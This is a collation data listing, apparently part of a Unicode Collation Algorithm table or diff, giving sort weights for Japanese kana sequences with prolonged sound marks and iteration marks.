-FF7A FF70 ; [.3BCD.0020.0011.0002][.3BC8.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER KO, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-3053 30FC ; [.3BCD.0020.0011.0001][.3BC8.0020.0007.0002] # <HIRAGANA LETTER KO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30B4 30FC ; [.3BCD.0020.0011.0002][.0000.0037.0002][.3BC8.0020.0007.0002] # <KATAKANA LETTER GO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30B3 3099 30FC ; [.3BCD.0020.0011.0002][.0000.0037.0002][.3BC8.0020.0007.0002] # <KATAKANA LETTER KO, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF7A FF9E 30FC ; [.3BCD.0020.0011.0002][.0000.0037.0002][.3BC8.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER KO, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF7A FF9E FF70 ; [.3BCD.0020.0011.0002][.0000.0037.0002][.3BC8.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER KO, HALFWIDTH KATAKANA VOICED SOUND MARK, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-3054 30FC ; [.3BCD.0020.0011.0001][.0000.0037.0002][.3BC8.0020.0007.0002] # <HIRAGANA LETTER GO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-3053 3099 30FC ; [.3BCD.0020.0011.0001][.0000.0037.0002][.3BC8.0020.0007.0002] # <HIRAGANA LETTER KO, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30BD 30FC ; [.3BD2.0020.0011.0002][.3BC8.0020.0007.0002] # <KATAKANA LETTER SO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF7F 30FC ; [.3BD2.0020.0011.0002][.3BC8.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER SO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF7F FF70 ; [.3BD2.0020.0011.0002][.3BC8.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER SO, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-305D 30FC ; [.3BD2.0020.0011.0001][.3BC8.0020.0007.0002] # <HIRAGANA LETTER SO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30BE 30FC ; [.3BD2.0020.0011.0002][.0000.0037.0002][.3BC8.0020.0007.0002] # <KATAKANA LETTER ZO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30BD 3099 30FC ; [.3BD2.0020.0011.0002][.0000.0037.0002][.3BC8.0020.0007.0002] # <KATAKANA LETTER SO, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF7F FF9E 30FC ; [.3BD2.0020.0011.0002][.0000.0037.0002][.3BC8.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER SO, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF7F FF9E FF70 ; [.3BD2.0020.0011.0002][.0000.0037.0002][.3BC8.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER SO, HALFWIDTH KATAKANA VOICED SOUND MARK, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-305E 30FC ; [.3BD2.0020.0011.0001][.0000.0037.0002][.3BC8.0020.0007.0002] # <HIRAGANA LETTER ZO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-305D 3099 30FC ; [.3BD2.0020.0011.0001][.0000.0037.0002][.3BC8.0020.0007.0002] # <HIRAGANA LETTER SO, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30C8 30FC ; [.3BD7.0020.0011.0002][.3BC8.0020.0007.0002] # <KATAKANA LETTER TO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF84 30FC ; [.3BD7.0020.0011.0002][.3BC8.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER TO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF84 FF70 ; [.3BD7.0020.0011.0002][.3BC8.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER TO, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-3068 30FC ; [.3BD7.0020.0011.0001][.3BC8.0020.0007.0002] # <HIRAGANA LETTER TO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30C9 30FC ; [.3BD7.0020.0011.0002][.0000.0037.0002][.3BC8.0020.0007.0002] # <KATAKANA LETTER DO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30C8 3099 30FC ; [.3BD7.0020.0011.0002][.0000.0037.0002][.3BC8.0020.0007.0002] # <KATAKANA LETTER TO, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF84 FF9E 30FC ; [.3BD7.0020.0011.0002][.0000.0037.0002][.3BC8.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER TO, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF84 FF9E FF70 ; [.3BD7.0020.0011.0002][.0000.0037.0002][.3BC8.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER TO, HALFWIDTH KATAKANA VOICED SOUND MARK, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-3069 30FC ; [.3BD7.0020.0011.0001][.0000.0037.0002][.3BC8.0020.0007.0002] # <HIRAGANA LETTER DO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-3068 3099 30FC ; [.3BD7.0020.0011.0001][.0000.0037.0002][.3BC8.0020.0007.0002] # <HIRAGANA LETTER TO, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30CE 30FC ; [.3BDC.0020.0011.0002][.3BC8.0020.0007.0002] # <KATAKANA LETTER NO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF89 30FC ; [.3BDC.0020.0011.0002][.3BC8.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER NO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF89 FF70 ; [.3BDC.0020.0011.0002][.3BC8.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER NO, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-306E 30FC ; [.3BDC.0020.0011.0001][.3BC8.0020.0007.0002] # <HIRAGANA LETTER NO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30DB 30FC ; [.3BE1.0020.0011.0002][.3BC8.0020.0007.0002] # <KATAKANA LETTER HO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF8E 30FC ; [.3BE1.0020.0011.0002][.3BC8.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER HO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF8E FF70 ; [.3BE1.0020.0011.0002][.3BC8.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER HO, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-307B 30FC ; [.3BE1.0020.0011.0001][.3BC8.0020.0007.0002] # <HIRAGANA LETTER HO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30DC 30FC ; [.3BE1.0020.0011.0002][.0000.0037.0002][.3BC8.0020.0007.0002] # <KATAKANA LETTER BO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30DB 3099 30FC ; [.3BE1.0020.0011.0002][.0000.0037.0002][.3BC8.0020.0007.0002] # <KATAKANA LETTER HO, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF8E FF9E 30FC ; [.3BE1.0020.0011.0002][.0000.0037.0002][.3BC8.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER HO, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF8E FF9E FF70 ; [.3BE1.0020.0011.0002][.0000.0037.0002][.3BC8.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER HO, HALFWIDTH KATAKANA VOICED SOUND MARK, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-307C 30FC ; [.3BE1.0020.0011.0001][.0000.0037.0002][.3BC8.0020.0007.0002] # <HIRAGANA LETTER BO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-307B 3099 30FC ; [.3BE1.0020.0011.0001][.0000.0037.0002][.3BC8.0020.0007.0002] # <HIRAGANA LETTER HO, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30DD 30FC ; [.3BE1.0020.0011.0002][.0000.0038.0002][.3BC8.0020.0007.0002] # <KATAKANA LETTER PO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30DB 309A 30FC ; [.3BE1.0020.0011.0002][.0000.0038.0002][.3BC8.0020.0007.0002] # <KATAKANA LETTER HO, COMBINING KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF8E FF9F 30FC ; [.3BE1.0020.0011.0002][.0000.0038.0002][.3BC8.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER HO, HALFWIDTH KATAKANA SEMI-VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF8E FF9F FF70 ; [.3BE1.0020.0011.0002][.0000.0038.0002][.3BC8.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER HO, HALFWIDTH KATAKANA SEMI-VOICED SOUND MARK, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-307D 30FC ; [.3BE1.0020.0011.0001][.0000.0038.0002][.3BC8.0020.0007.0002] # <HIRAGANA LETTER PO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-307B 309A 30FC ; [.3BE1.0020.0011.0001][.0000.0038.0002][.3BC8.0020.0007.0002] # <HIRAGANA LETTER HO, COMBINING KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30E2 30FC ; [.3BE6.0020.0011.0002][.3BC8.0020.0007.0002] # <KATAKANA LETTER MO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF93 30FC ; [.3BE6.0020.0011.0002][.3BC8.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER MO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF93 FF70 ; [.3BE6.0020.0011.0002][.3BC8.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER MO, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-3082 30FC ; [.3BE6.0020.0011.0001][.3BC8.0020.0007.0002] # <HIRAGANA LETTER MO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30E7 30FC ; [.3BEA.0020.000F.0002][.3BC8.0020.0007.0002] # <KATAKANA LETTER SMALL YO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF6E 30FC ; [.3BEA.0020.000F.0002][.3BC8.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER SMALL YO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF6E FF70 ; [.3BEA.0020.000F.0002][.3BC8.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER SMALL YO, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-3087 30FC ; [.3BEA.0020.000F.0001][.3BC8.0020.0007.0002] # <HIRAGANA LETTER SMALL YO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30E8 30FC ; [.3BEA.0020.0011.0002][.3BC8.0020.0007.0002] # <KATAKANA LETTER YO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF96 30FC ; [.3BEA.0020.0011.0002][.3BC8.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER YO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF96 FF70 ; [.3BEA.0020.0011.0002][.3BC8.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER YO, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-3088 30FC ; [.3BEA.0020.0011.0001][.3BC8.0020.0007.0002] # <HIRAGANA LETTER YO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30ED 30FC ; [.3BEF.0020.0011.0002][.3BC8.0020.0007.0002] # <KATAKANA LETTER RO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF9B 30FC ; [.3BEF.0020.0011.0002][.3BC8.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER RO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF9B FF70 ; [.3BEF.0020.0011.0002][.3BC8.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER RO, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-308D 30FC ; [.3BEF.0020.0011.0001][.3BC8.0020.0007.0002] # <HIRAGANA LETTER RO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30F2 30FC ; [.3BF3.0020.0011.0002][.3BC8.0020.0007.0002] # <KATAKANA LETTER WO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF66 30FC ; [.3BF3.0020.0011.0002][.3BC8.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER WO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF66 FF70 ; [.3BF3.0020.0011.0002][.3BC8.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER WO, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-3092 30FC ; [.3BF3.0020.0011.0001][.3BC8.0020.0007.0002] # <HIRAGANA LETTER WO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30FA 30FC ; [.3BF3.0020.0011.0002][.0000.0037.0002][.3BC8.0020.0007.0002] # <KATAKANA LETTER VO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30F2 3099 30FC ; [.3BF3.0020.0011.0002][.0000.0037.0002][.3BC8.0020.0007.0002] # <KATAKANA LETTER WO, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF66 FF9E 30FC ; [.3BF3.0020.0011.0002][.0000.0037.0002][.3BC8.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER WO, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF66 FF9E FF70 ; [.3BF3.0020.0011.0002][.0000.0037.0002][.3BC8.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER WO, HALFWIDTH KATAKANA VOICED SOUND MARK, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-31F3 30FC ; [.3BD7.0020.000F][.3BC8.0020.0007.0002] # <KATAKANA LETTER SMALL TO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-31F9 30FC ; [.3BE1.0020.000F][.3BC8.0020.0007.0002] # <KATAKANA LETTER SMALL HO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-31FF 30FC ; [.3BEF.0020.000F][.3BC8.0020.0007.0002] # <KATAKANA LETTER SMALL RO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30A1 30FD ; [.3BC3.0020.000F.0002][.3BC3.0020.0010.0002] # <KATAKANA LETTER SMALL A, KATAKANA ITERATION MARK>
-FF67 30FD ; [.3BC3.0020.000F.0002][.3BC3.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER SMALL A, KATAKANA ITERATION MARK>
-3041 309D ; [.3BC3.0020.000F.0001][.3BC3.0020.0010.0002] # <HIRAGANA LETTER SMALL A, HIRAGANA ITERATION MARK>
-30A2 30FD ; [.3BC3.0020.0011.0002][.3BC3.0020.0010.0002] # <KATAKANA LETTER A, KATAKANA ITERATION MARK>
-FF71 30FD ; [.3BC3.0020.0011.0002][.3BC3.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER A, KATAKANA ITERATION MARK>
-3042 309D ; [.3BC3.0020.0011.0001][.3BC3.0020.0010.0002] # <HIRAGANA LETTER A, HIRAGANA ITERATION MARK>
-30A3 30FD ; [.3BC4.0020.000F.0002][.3BC4.0020.0010.0002] # <KATAKANA LETTER SMALL I, KATAKANA ITERATION MARK>
-FF68 30FD ; [.3BC4.0020.000F.0002][.3BC4.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER SMALL I, KATAKANA ITERATION MARK>
-3043 309D ; [.3BC4.0020.000F.0001][.3BC4.0020.0010.0002] # <HIRAGANA LETTER SMALL I, HIRAGANA ITERATION MARK>
-30A4 30FD ; [.3BC4.0020.0011.0002][.3BC4.0020.0010.0002] # <KATAKANA LETTER I, KATAKANA ITERATION MARK>
-FF72 30FD ; [.3BC4.0020.0011.0002][.3BC4.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER I, KATAKANA ITERATION MARK>
-3044 309D ; [.3BC4.0020.0011.0001][.3BC4.0020.0010.0002] # <HIRAGANA LETTER I, HIRAGANA ITERATION MARK>
-30A5 30FD ; [.3BC5.0020.000F.0002][.3BC5.0020.0010.0002] # <KATAKANA LETTER SMALL U, KATAKANA ITERATION MARK>
-FF69 30FD ; [.3BC5.0020.000F.0002][.3BC5.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER SMALL U, KATAKANA ITERATION MARK>
-3045 309D ; [.3BC5.0020.000F.0001][.3BC5.0020.0010.0002] # <HIRAGANA LETTER SMALL U, HIRAGANA ITERATION MARK>
-30A5 30FE ; [.3BC5.0020.000F.0002][.3BC5.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER SMALL U, KATAKANA VOICED ITERATION MARK>
-FF69 30FE ; [.3BC5.0020.000F.0002][.3BC5.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER SMALL U, KATAKANA VOICED ITERATION MARK>
-3045 309E ; [.3BC5.0020.000F.0001][.3BC5.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER SMALL U, HIRAGANA VOICED ITERATION MARK>
-30A6 30FD ; [.3BC5.0020.0011.0002][.3BC5.0020.0010.0002] # <KATAKANA LETTER U, KATAKANA ITERATION MARK>
-FF73 30FD ; [.3BC5.0020.0011.0002][.3BC5.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER U, KATAKANA ITERATION MARK>
-3046 309D ; [.3BC5.0020.0011.0001][.3BC5.0020.0010.0002] # <HIRAGANA LETTER U, HIRAGANA ITERATION MARK>
-30A6 30FE ; [.3BC5.0020.0011.0002][.3BC5.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER U, KATAKANA VOICED ITERATION MARK>
-FF73 30FE ; [.3BC5.0020.0011.0002][.3BC5.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER U, KATAKANA VOICED ITERATION MARK>
-3046 309E ; [.3BC5.0020.0011.0001][.3BC5.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER U, HIRAGANA VOICED ITERATION MARK>
-30A7 30FD ; [.3BC7.0020.000F.0002][.3BC7.0020.0010.0002] # <KATAKANA LETTER SMALL E, KATAKANA ITERATION MARK>
-FF6A 30FD ; [.3BC7.0020.000F.0002][.3BC7.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER SMALL E, KATAKANA ITERATION MARK>
-3047 309D ; [.3BC7.0020.000F.0001][.3BC7.0020.0010.0002] # <HIRAGANA LETTER SMALL E, HIRAGANA ITERATION MARK>
-30A8 30FD ; [.3BC7.0020.0011.0002][.3BC7.0020.0010.0002] # <KATAKANA LETTER E, KATAKANA ITERATION MARK>
-FF74 30FD ; [.3BC7.0020.0011.0002][.3BC7.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER E, KATAKANA ITERATION MARK>
-3048 309D ; [.3BC7.0020.0011.0001][.3BC7.0020.0010.0002] # <HIRAGANA LETTER E, HIRAGANA ITERATION MARK>
-30A9 30FD ; [.3BC8.0020.000F.0002][.3BC8.0020.0010.0002] # <KATAKANA LETTER SMALL O, KATAKANA ITERATION MARK>
-FF6B 30FD ; [.3BC8.0020.000F.0002][.3BC8.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER SMALL O, KATAKANA ITERATION MARK>
-3049 309D ; [.3BC8.0020.000F.0001][.3BC8.0020.0010.0002] # <HIRAGANA LETTER SMALL O, HIRAGANA ITERATION MARK>
-30AA 30FD ; [.3BC8.0020.0011.0002][.3BC8.0020.0010.0002] # <KATAKANA LETTER O, KATAKANA ITERATION MARK>
-FF75 30FD ; [.3BC8.0020.0011.0002][.3BC8.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER O, KATAKANA ITERATION MARK>
-304A 309D ; [.3BC8.0020.0011.0001][.3BC8.0020.0010.0002] # <HIRAGANA LETTER O, HIRAGANA ITERATION MARK>
-30AB 30FD ; [.3BC9.0020.0011.0002][.3BC9.0020.0010.0002] # <KATAKANA LETTER KA, KATAKANA ITERATION MARK>
-FF76 30FD ; [.3BC9.0020.0011.0002][.3BC9.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER KA, KATAKANA ITERATION MARK>
-304B 309D ; [.3BC9.0020.0011.0001][.3BC9.0020.0010.0002] # <HIRAGANA LETTER KA, HIRAGANA ITERATION MARK>
-30AB 30FE ; [.3BC9.0020.0011.0002][.3BC9.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER KA, KATAKANA VOICED ITERATION MARK>
-FF76 30FE ; [.3BC9.0020.0011.0002][.3BC9.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER KA, KATAKANA VOICED ITERATION MARK>
-304B 309E ; [.3BC9.0020.0011.0001][.3BC9.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER KA, HIRAGANA VOICED ITERATION MARK>
-30AC 30FD ; [.3BC9.0020.0011.0002][.0000.0037.0002][.3BC9.0020.0010.0002] # <KATAKANA LETTER GA, KATAKANA ITERATION MARK>
-30AB 3099 30FD ; [.3BC9.0020.0011.0002][.0000.0037.0002][.3BC9.0020.0010.0002] # <KATAKANA LETTER KA, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
-FF76 FF9E 30FD ; [.3BC9.0020.0011.0002][.0000.0037.0002][.3BC9.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER KA, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
-304C 309D ; [.3BC9.0020.0011.0001][.0000.0037.0002][.3BC9.0020.0010.0002] # <HIRAGANA LETTER GA, HIRAGANA ITERATION MARK>
-304B 3099 309D ; [.3BC9.0020.0011.0001][.0000.0037.0002][.3BC9.0020.0010.0002] # <HIRAGANA LETTER KA, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, HIRAGANA ITERATION MARK>
-30AC 30FE ; [.3BC9.0020.0011.0002][.0000.0037.0002][.3BC9.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER GA, KATAKANA VOICED ITERATION MARK>
-30AB 3099 30FE ; [.3BC9.0020.0011.0002][.0000.0037.0002][.3BC9.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER KA, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
-FF76 FF9E 30FE ; [.3BC9.0020.0011.0002][.0000.0037.0002][.3BC9.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER KA, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
-304C 309E ; [.3BC9.0020.0011.0001][.0000.0037.0002][.3BC9.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER GA, HIRAGANA VOICED ITERATION MARK>
-304B 3099 309E ; [.3BC9.0020.0011.0001][.0000.0037.0002][.3BC9.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER KA, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, HIRAGANA VOICED ITERATION MARK>
-30AD 30FD ; [.3BCA.0020.0011.0002][.3BCA.0020.0010.0002] # <KATAKANA LETTER KI, KATAKANA ITERATION MARK>
-FF77 30FD ; [.3BCA.0020.0011.0002][.3BCA.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER KI, KATAKANA ITERATION MARK>
-304D 309D ; [.3BCA.0020.0011.0001][.3BCA.0020.0010.0002] # <HIRAGANA LETTER KI, HIRAGANA ITERATION MARK>
-30AD 30FE ; [.3BCA.0020.0011.0002][.3BCA.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER KI, KATAKANA VOICED ITERATION MARK>
-FF77 30FE ; [.3BCA.0020.0011.0002][.3BCA.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER KI, KATAKANA VOICED ITERATION MARK>
-304D 309E ; [.3BCA.0020.0011.0001][.3BCA.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER KI, HIRAGANA VOICED ITERATION MARK>
-30AE 30FD ; [.3BCA.0020.0011.0002][.0000.0037.0002][.3BCA.0020.0010.0002] # <KATAKANA LETTER GI, KATAKANA ITERATION MARK>
-30AD 3099 30FD ; [.3BCA.0020.0011.0002][.0000.0037.0002][.3BCA.0020.0010.0002] # <KATAKANA LETTER KI, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
-FF77 FF9E 30FD ; [.3BCA.0020.0011.0002][.0000.0037.0002][.3BCA.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER KI, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
-304E 309D ; [.3BCA.0020.0011.0001][.0000.0037.0002][.3BCA.0020.0010.0002] # <HIRAGANA LETTER GI, HIRAGANA ITERATION MARK>
-304D 3099 309D ; [.3BCA.0020.0011.0001][.0000.0037.0002][.3BCA.0020.0010.0002] # <HIRAGANA LETTER KI, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, HIRAGANA ITERATION MARK>
-30AE 30FE ; [.3BCA.0020.0011.0002][.0000.0037.0002][.3BCA.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER GI, KATAKANA VOICED ITERATION MARK>
-30AD 3099 30FE ; [.3BCA.0020.0011.0002][.0000.0037.0002][.3BCA.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER KI, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
-FF77 FF9E 30FE ; [.3BCA.0020.0011.0002][.0000.0037.0002][.3BCA.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER KI, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
-304E 309E ; [.3BCA.0020.0011.0001][.0000.0037.0002][.3BCA.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER GI, HIRAGANA VOICED ITERATION MARK>
-304D 3099 309E ; [.3BCA.0020.0011.0001][.0000.0037.0002][.3BCA.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER KI, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, HIRAGANA VOICED ITERATION MARK>
-30AF 30FD ; [.3BCB.0020.0011.0002][.3BCB.0020.0010.0002] # <KATAKANA LETTER KU, KATAKANA ITERATION MARK>
-FF78 30FD ; [.3BCB.0020.0011.0002][.3BCB.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER KU, KATAKANA ITERATION MARK>
-304F 309D ; [.3BCB.0020.0011.0001][.3BCB.0020.0010.0002] # <HIRAGANA LETTER KU, HIRAGANA ITERATION MARK>
-30AF 30FE ; [.3BCB.0020.0011.0002][.3BCB.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER KU, KATAKANA VOICED ITERATION MARK>
-FF78 30FE ; [.3BCB.0020.0011.0002][.3BCB.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER KU, KATAKANA VOICED ITERATION MARK>
-304F 309E ; [.3BCB.0020.0011.0001][.3BCB.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER KU, HIRAGANA VOICED ITERATION MARK>
-30B0 30FD ; [.3BCB.0020.0011.0002][.0000.0037.0002][.3BCB.0020.0010.0002] # <KATAKANA LETTER GU, KATAKANA ITERATION MARK>
-30AF 3099 30FD ; [.3BCB.0020.0011.0002][.0000.0037.0002][.3BCB.0020.0010.0002] # <KATAKANA LETTER KU, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
-FF78 FF9E 30FD ; [.3BCB.0020.0011.0002][.0000.0037.0002][.3BCB.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER KU, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
-3050 309D ; [.3BCB.0020.0011.0001][.0000.0037.0002][.3BCB.0020.0010.0002] # <HIRAGANA LETTER GU, HIRAGANA ITERATION MARK>
-304F 3099 309D ; [.3BCB.0020.0011.0001][.0000.0037.0002][.3BCB.0020.0010.0002] # <HIRAGANA LETTER KU, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, HIRAGANA ITERATION MARK>
-30B0 30FE ; [.3BCB.0020.0011.0002][.0000.0037.0002][.3BCB.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER GU, KATAKANA VOICED ITERATION MARK>
